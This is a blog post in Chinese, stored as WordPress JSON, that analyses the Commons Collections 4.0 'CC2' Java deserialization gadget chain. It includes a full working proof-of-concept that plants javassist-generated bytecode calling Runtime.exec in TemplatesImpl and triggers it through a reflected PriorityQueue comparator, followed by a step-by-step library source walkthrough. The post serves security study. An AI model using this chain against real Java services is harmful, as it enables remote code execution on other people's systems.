{"id":490,"date":"2024-03-16T00:15:30","date_gmt":"2024-03-15T16:15:30","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=490"},"modified":"2024-03-16T00:15:30","modified_gmt":"2024-03-15T16:15:30","slug":"cc2","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2024\/03\/16\/cc2\/","title":{"rendered":"Java\u5b89\u5168 CC\u94fe2\u5206\u6790"},"content":{"rendered":"

cc\u94fe2\u4ecb\u7ecd<\/h1>\n

CC2\u94fe\u9002\u7528\u4e8eApache common collection 4.0\u7248\u672c\uff0c\u7531\u4e8e\u8be5\u7248\u672c\u5bf9AnnotationInvocationHandler\u7c7b<\/strong>\u7684readObject<\/strong>\u65b9\u6cd5\u8fdb\u884c\u4e86\u4fee\u590d\uff0c\u5bfc\u81f4cc\u94fe1\u65e0\u6cd5\u4f7f\u7528\uff0c\u6545\u4ea7\u751f\u4e86cc\u94fe2\uff0ccc\u94fe2\u4e0ecc\u94fe3\u76f8\u4f3c\uff0c\u90fd\u4f7f\u7528\u4e86\u5b57\u8282\u7801\u7684\u52a0\u8f7d\uff0c\u5e76\u4e14\u540e\u7eed\u7684\u89e6\u53d1\u94fe\u4e5f\u57fa\u672c\u76f8\u540c<\/p>\n

\u524d\u7f6e\u77e5\u8bc6<\/h1>\n

\u73af\u5883\u914d\u7f6e<\/h2>\n

\u6709\u5173\u73af\u5883\u914d\u7f6e\u8bf7\u770b<\/p>\n

Java\u5b89\u5168 CC\u94fe1\u5206\u6790<\/a><\/p>\n

\u4e0d\u540c\u7684\u662f\u7531\u4e8e\u6211\u4eec\u9700\u8981\u4f7f\u7528\u7684\u7248\u672c\u4e3acc4\uff0c\u6545\u9700\u8981\u8bbe\u7f6epom.xml\u6587\u4ef6\u4f9d\u8d56\u5185\u5bb9\u5982\u4e0b<\/p>\n

    <dependencies>\n        <dependency>\n            <groupId>org.javassist<\/groupId>\n            <artifactId>javassist<\/artifactId>\n            <version>3.19.0-GA<\/version>\n        <\/dependency>\n        <dependency>\n            <groupId>org.apache.commons<\/groupId>\n            <artifactId>commons-collections4<\/artifactId>\n            <version>4.0<\/version>\n        <\/dependency>\n    <\/dependencies><\/code><\/pre>\n
\u7c7b\u52a0\u8f7d\u673a\u5236<\/h2>\n
\u53ef\u4ee5\u770b\u8fd9\u7bc7\u6587\u7ae0<\/p>\n
Java\u5b89\u5168 CC\u94fe3\u5206\u6790<\/a><\/p>\n
\u89e6\u53d1\u6d41\u7a0b<\/h1>\n
ysoserial\u4e2d\u7ed9\u51fa\u7684\u94fe<\/p>\n
ObjectInputStream.readObject()\n            PriorityQueue.readObject()\n                PriorityQueue.heapify();\n                    PriorityQueue.siftDown();\n                        siftUpUsingComparator();\n                            TransformingComparator.compare()\n                                InvokerTransformer.transform()\n                                    Method.invoke()\n                                        Runtime.exec()<\/code><\/pre>\n
cc\u94fe2POC<\/h1>\n
package org.example;\n\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.collections4.comparators.TransformingComparator;\nimport org.apache.commons.collections4.functors.InvokerTransformer;\n\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.PriorityQueue;\n\npublic class cc2 {\n    public static void main(String[] args) throws Exception {\n        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";\n        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";\n\n        ClassPool classPool=ClassPool.getDefault();\/\/\u8fd4\u56de\u9ed8\u8ba4\u7684\u7c7b\u6c60\n        classPool.appendClassPath(AbstractTranslet);\/\/\u6dfb\u52a0AbstractTranslet\u7684\u641c\u7d22\u8def\u5f84\n        CtClass payload=classPool.makeClass("cc2");\/\/\u521b\u5efa\u4e00\u4e2a\u65b0\u7684public\u7c7b\n        payload.setSuperclass(classPool.get(AbstractTranslet));  \/\/\u8bbe\u7f6e\u7236\u7c7b\u4e3aAbstractTranslet\n        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\\"calc\\");"); \/\/\u521b\u5efa\u4e00\u4e2a\u7a7a\u7684\u7c7b\u521d\u59cb\u5316\uff0c\u8bbe\u7f6e\u6784\u9020\u51fd\u6570\u4e3b\u4f53\u4e3aruntime\n\n        byte[] bytes=payload.toBytecode();\/\/\u8f6c\u6362\u4e3abyte\u6570\u7ec4\n\n        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();\/\/\u53cd\u5c04\u521b\u5efaTemplatesImpl\n        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");\/\/\u53cd\u5c04\u83b7\u53d6templatesImpl\u7684_bytecodes\u5b57\u6bb5\n        field.setAccessible(true);\/\/\u66b4\u529b\u53cd\u5c04\n        field.set(templatesImpl,new byte[][]{bytes});\/\/\u5c06templatesImpl\u4e0a\u7684_bytecodes\u5b57\u6bb5\u8bbe\u7f6e\u4e3aruntime\u7684byte\u6570\u7ec4\n\n        Field field1=templatesImpl.getClass().getDeclaredField("_name");\/\/\u53cd\u5c04\u83b7\u53d6templatesImpl\u7684_name\u5b57\u6bb5\n        field1.setAccessible(true);\/\/\u66b4\u529b\u53cd\u5c04\n        field1.set(templatesImpl,"test");\/\/\u5c06templatesImpl\u4e0a\u7684_name\u5b57\u6bb5\u8bbe\u7f6e\u4e3atest\n\n        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});\n        TransformingComparator comparator =new TransformingComparator(transformer);\/\/\u4f7f\u7528TransformingComparator\u4fee\u9970\u5668\u4f20\u5165transformer\u5bf9\u8c61\n        PriorityQueue queue = new PriorityQueue(2);\/\/\u4f7f\u7528\u6307\u5b9a\u7684\u521d\u59cb\u5bb9\u91cf\u521b\u5efa\u4e00\u4e2a PriorityQueue\uff0c\u5e76\u6839\u636e\u5176\u81ea\u7136\u987a\u5e8f\u5bf9\u5143\u7d20\u8fdb\u884c\u6392\u5e8f\u3002\n        queue.add(1);\/\/\u6dfb\u52a0\u6570\u5b571\u63d2\u5165\u6b64\u4f18\u5148\u7ea7\u961f\u5217\n        queue.add(1);\/\/\u6dfb\u52a0\u6570\u5b571\u63d2\u5165\u6b64\u4f18\u5148\u7ea7\u961f\u5217\n\n        Field field2=queue.getClass().getDeclaredField("comparator");\/\/\u83b7\u53d6PriorityQueue\u7684comparator\u5b57\u6bb5\n        field2.setAccessible(true);\/\/\u66b4\u529b\u53cd\u5c04\n        field2.set(queue,comparator);\/\/\u8bbe\u7f6equeue\u7684comparator\u5b57\u6bb5\u503c\u4e3acomparator\n\n        Field field3=queue.getClass().getDeclaredField("queue");\/\/\u83b7\u53d6queue\u7684queue\u5b57\u6bb5\n        field3.setAccessible(true);\/\/\u66b4\u529b\u53cd\u5c04\n        field3.set(queue,new Object[]{templatesImpl,templatesImpl});\/\/\u8bbe\u7f6equeue\u7684queue\u5b57\u6bb5\u5185\u5bb9Object\u6570\u7ec4\uff0c\u5185\u5bb9\u4e3atemplatesImpl\n\n        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));\n        outputStream.writeObject(queue);\n        outputStream.close();\n\n        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));\n        inputStream.readObject();\n\n    }\n}\n<\/code><\/pre>\n
cc\u94fe2\u5206\u6790<\/h1>\n
\u5148\u770b\u4e0bPriorityQueue\u7c7b<\/code>\u4e2d\u7684readObject\u65b9\u6cd5<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
    private void readObject(java.io.ObjectInputStream s)\n        throws java.io.IOException, ClassNotFoundException {\n        s.defaultReadObject();\n        s.readInt();\n        queue = new Object[size];\n        for (int i = 0; i < size; i++)\n            queue[i] = s.readObject();\n        heapify();\n    }<\/code><\/pre>\n
\u8fd9\u91cc\u6211\u4eec\u53d1\u73b0\uff0c\u4f1a\u5148\u8c03\u7528defaultReadObject()\u65b9\u6cd5<\/code>\u5c06\u5e8f\u5217\u5316\u6587\u4ef6\u53cd\u5e8f\u5217\u5316\uff0c\u7136\u540e\u8c03\u7528readInt()\u65b9\u6cd5<\/code>\u83b7\u53d6\u4f18\u5148\u961f\u5217\u7684\u957f\u5ea6<\/strong><\/p>\n
\u7136\u540e\u6267\u884c queue[i] = s.readObject()<\/code>\uff0c\u5c06\u4f18\u5148\u961f\u5217\u7684\u503c\u8d4b\u503c\u7ed9queue[i]\u6570\u7ec4<\/code>\uff0cqueue[i]\u6570\u7ec4\u503c\u662f\u5728\u8c03\u7528writeObject\u65b9\u6cd5\u5e8f\u5217\u5316\u65f6\u5b9a\u4e49\u7684\uff0c<\/p>\n
\n
queue\u5c5e\u6027\u4e3a\u79c1\u6709\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u53cd\u5c04\u5c06\u5176\u8d4b\u503c\u4e3a\u643a\u5e26\u6709\u6076\u610f\u5b57\u8282\u7801\u7684TemplatesImpl<\/code>\u5bf9\u8c61\uff0c\u5177\u4f53\u5229\u7528\u4e0b\u9762\u6709\u8bb2<\/p>\n<\/blockquote>\n
\"1710518725434.png\"<\/div>
\n\u5728\u5bf9queue[i]<\/code>\u5faa\u73af\u8d4b\u503c<\/strong>\u5b8c\u6210\u540e\u4f1a\u8c03\u7528heapify()\u65b9\u6cd5<\/code>\uff0c\u6211\u4eec\u8ddf\u8fdb\u67e5\u770b\u5176\u4ee3\u7801<\/p>\n
    private void heapify() {\n        for (int i = (size >>> 1) - 1; i >= 0; i--)\n            siftDown(i, (E) queue[i]);\n    }<\/code><\/pre>\n
\u6211\u4eec\u770b\u5230\u4ee3\u7801 int i = (size >>> 1) - 1;<\/code>\uff0c\u6b64\u4ee3\u7801\u4f1a\u5c06\u4f18\u5148\u961f\u5217\u7684\u957f\u5ea6\u53f3\u79fb1\u4f4d\uff08\u7f29\u5c0f\u4e24\u500d\uff09\uff0c\u7136\u540e\u51cf1\uff0c<\/strong>\u5982\u679c\u6211\u4eec\u60f3\u8ba9\u5faa\u73af\u6b63\u5e38\u8fdb\u884c\u7684\u8bdd\uff0c\u4f18\u5148\u961f\u5217\u7684\u957f\u5ea6\u81f3\u5c11\u4e3a2<\/strong><\/p>\n
\u7136\u540e\u6211\u4eec\u770b\u5230\u5faa\u73af\u4e2d\u7684 siftDown\u65b9\u6cd5<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
    private void siftDown(int k, E x) {\n        if (comparator != null)\n            siftDownUsingComparator(k, x);\n        else\n            siftDownComparable(k, x);\n    }<\/code><\/pre>\n
\u8fd9\u91ccE x<\/code>\u5219\u4e3a\u521a\u624d\u4f20\u5165\u7684queue[i]<\/code>\uff0c\u6211\u4eec\u8ddf\u8fdb\u5230siftDownUsingComparator\u65b9\u6cd5<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
    private void siftUpUsingComparator(int k, E x) {\n        while (k > 0) {\n            int parent = (k - 1) >>> 1;\n            Object e = queue[parent];\n            if (comparator.compare(x, (E) e) >= 0) \/\/\u7531\u6b64\u8fdb\u5165\n                break;\n            queue[k] = e;\n            k = parent;\n        }\n        queue[k] = x;\n    }<\/code><\/pre>\n
\u8fd9\u91cc\u4f1a\u5bf9queue[i]<\/code>\u6267\u884ccomparator.compare<\/code>\u65b9\u6cd5\uff0c\u6211\u4eec\u770b\u5230comparator\u5c5e\u6027<\/code>\u7684\u5b9a\u4e49\u5982\u4e0b<\/p>\n
    private final Comparator<? super E> comparator;<\/code><\/pre>\n
\u6211\u4eec\u53d1\u73b0comparator\u5c5e\u6027<\/code>\u4e3a\u79c1\u6709\u7684\uff0c\u5728poc\u5f53\u4e2d\u901a\u8fc7\u53cd\u5c04<\/strong>\u628a\u8be5\u5c5e\u6027\u7684\u503c\u8bbe\u4e3a\u4e86TransformingComparator\u5bf9\u8c61<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});\n\nTransformingComparator comparator =new TransformingComparator(transformer);\/\/\u4f7f\u7528TransformingComparator\u4fee\u9970\u5668\u4f20\u5165transformer\u5bf9\u8c61<\/code><\/pre>\n
\u6211\u4eec\u8ddf\u8fdb\u5230\u8be5\u5bf9\u8c61\u7684compare\u65b9\u6cd5<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
    public int compare(final I obj1, final I obj2) {\n        final O value1 = this.transformer.transform(obj1);\n        final O value2 = this.transformer.transform(obj2);\n        return this.decorated.compare(value1, value2);\n    }<\/code><\/pre>\n
\u8fd9\u91cc\u8c03\u7528\u4e86InvokerTransformer\u5bf9\u8c61<\/code>(transformer\u5c5e\u6027)<\/strong>\u7684transform\u65b9\u6cd5<\/code>\uff0c\u6211\u4eec\u8ddf\u8fdb\u67e5\u770b\u4ee3\u7801<\/p>\n
    public O transform(final Object input) {\n        if (input == null) {\n            return null;\n        }\n        try {\n            final Class<?> cls = input.getClass();\n            final Method method = cls.getMethod(iMethodName, iParamTypes);\n            return (O) method.invoke(input, iArgs);\n        } catch (final NoSuchMethodException ex) {\n            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +\n                                       input.getClass() + "' does not exist");\n        } catch (final IllegalAccessException ex) {\n            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +\n                                       input.getClass() + "' cannot be accessed");\n        } catch (final InvocationTargetException ex) {\n            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +\n                                       input.getClass() + "' threw an exception", ex);\n        }\n    }<\/code><\/pre>\n
\u8fd9\u91cc\u7684input\u5c5e\u6027<\/code>\u4ecd\u4e3a\u4e4b\u524d\u7684queue[i]<\/code>\uff0ciMethodName\u5c5e\u6027<\/code>\u7684\u503c\u4e3a\u6211\u4eec\u521b\u5efa\u5bf9\u8c61\u65f6\uff0c\u901a\u8fc7\u6784\u9020\u65b9\u6cd5\u7a7f\u8fdb\u53bb\u7684"newTransformer"<\/code><\/p>\n
method.invoke(input, iArgs);<\/code>\u8fd9\u53e5\u4ee3\u7801\u4f1a\u8c03\u7528queue[i]<\/code>\u7684newTransformer<\/code>\u65b9\u6cd5<\/p>\n
poc\u4e2d\u7684queue[0]<\/code>\u88ab\u8d4b\u503c\u4e3aTemplatesImpl\u5bf9\u8c61<\/code><\/strong>\uff0c\u5b9a\u4e49\u5982\u4e0b<\/p>\n
Field field3=queue.getClass().getDeclaredField("queue");\/\/\u83b7\u53d6queue\u7684queue\u5b57\u6bb5\n        field3.setAccessible(true);\/\/\u66b4\u529b\u53cd\u5c04\n        field3.set(queue,new Object[]{templatesImpl,templatesImpl});\n\n\/\/templatesImpl\u5373\u4e3a\u643a\u5e26\u6076\u610f\u9759\u6001\u4ee3\u7801\u7684\u5bf9\u8c61<\/code><\/pre>\n
\u4e0b\u9762\u6d41\u7a0b\u57fa\u672c\u548ccc3\u76f8\u540c\u4e86<\/strong><\/p>\n
\u6211\u4eec\u8ddf\u8fdb\u5230TemplatesImpl\u5bf9\u8c61<\/code>\u7684newTransformer<\/code>\u65b9\u6cd5\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
    public synchronized Transformer newTransformer()\n        throws TransformerConfigurationException\n    {\n        TransformerImpl transformer;\n\n        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,\n            _indentNumber, _tfactory); \/\/\u5173\u952e\u8bed\u53e5\n\n        if (_uriResolver != null) {\n            transformer.setURIResolver(_uriResolver);\n        }\n\n        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {\n            transformer.setSecureProcessing(true);\n        }\n        return transformer;\n    }<\/code><\/pre>\n
\u6211\u4eec\u4ee3\u7801\u4e2d\u6807\u6ce8\u7684\u5173\u952e\u8bed\u53e5\u8c03\u7528\u4e86getTransletInstance()<\/code>\u65b9\u6cd5\uff0c\u6211\u4eec\u67e5\u770b\u5176\u4ee3\u7801\u5982\u4e0b<\/p>\n
private Translet getTransletInstance()\n        throws TransformerConfigurationException {\n        try {\n            if (_name == null) return null;\n            if (_class == null) defineTransletClasses();\n            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();\n\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\n        }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u5047\u5982\u6ee1\u8db3if (_name != null)<\/code>\u4e14if (_class == null)<\/code>\u7684\u8bdd\u4f1a\u8c03\u7528defineTransletClasses()\u65b9\u6cd5<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
private static String ABSTRACT_TRANSLET\n        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";\nprivate void defineTransletClasses()\n        throws TransformerConfigurationException {\n\n        if (_bytecodes == null) {\n            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);\n            throw new TransformerConfigurationException(err.toString());\n        }\n\u2026\u2026\u2026\u2026\n            for (int i = 0; i < classCount; i++) {\n                _class[i] = loader.defineClass(_bytecodes[i]);\n                final Class superClass = _class[i].getSuperclass(); \/\/\u6ce8\u610f\n\n                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {\n                    _transletIndex = i;\n                }\n\u2026\u2026\u2026\u2026\n    }<\/code><\/pre>\n
\u8fd9\u91cc\u4f1a\u52a0\u8f7d\u643a\u5e26\u6076\u610f\u9759\u6001\u4ee3\u7801\u7684\u5b57\u8282\u6d41\u7c7b<\/strong>_bytecodes<\/code>\u590d\u5236\u7ed9\u6570\u7ec4_class[i]<\/code>\uff0c\u7136\u540e\u56de\u5230getTransletInstance()<\/code>\u65b9\u6cd5<\/p>\n
\u6267\u884cAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();<\/code>\u8fd9\u91cc\u4f1a\u5c06\u521a\u624d\u643a\u5e26\u6076\u610f\u4ee3\u7801\u7684\u7c7b\u8fdb\u884c\u521d\u59cb\u5316\u6267\u884c\u9759\u6001\u6076\u610f\u4ee3\u7801\uff0c\u5230\u6b64\u653b\u51fb\u5b8c\u6210<\/p>\n
\u9700\u8981\u6ce8\u610f\u7684\u662f\u6211\u4eec\u6784\u9020\u7684\u8fd9\u4e2a\u5b57\u8282\u6d41\u5e8f\u5217\u5316\u5bf9\u8c61\u8981\u4e3aAbstractTranslet\u7c7b<\/code>\u7684\u5b50\u7c7b<\/p>\n
\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668
\n
\"1710518758561.png\"<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
CC2\u94fe\u9002\u7528\u4e8eApache common collection 4.0\u7248\u672c\uff0c\u7531\u4e8e\u8be5\u7248\u672c\u5bf9AnnotationInvocationHandler\u7c7b\u7684readObject\u65b9\u6cd5\u8fdb\u884c\u4e86\u4fee\u590d\uff0c\u5bfc\u81f4cc\u94fe1\u65e0\u6cd5\u4f7f\u7528\uff0c\u6545\u4ea7\u751f\u4e86cc\u94fe2\uff0ccc\u94fe2\u4e0ecc\u94fe3\u76f8\u4f3c\uff0c\u90fd\u4f7f\u7528\u4e86\u5b57\u8282\u7801\u7684\u52a0\u8f7d\uff0c\u5e76\u4e14\u540e\u7eed\u7684\u89e6\u53d1\u94fe\u4e5f\u57fa\u672c\u76f8\u540c<\/p>\n","protected":false},"author":1,"featured_media":491,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[39,22,42],"tags":[15,40,26],"class_list":["post-490","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-java","category-webs","category-42","tag-ctf","tag-java","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/490","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=490"}],"version-history":[{"count":1,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/490\/revisions"}],"predecessor-version":[{"id":492,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/490\/revisions\/492"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/491"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=490"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=490"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=490"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}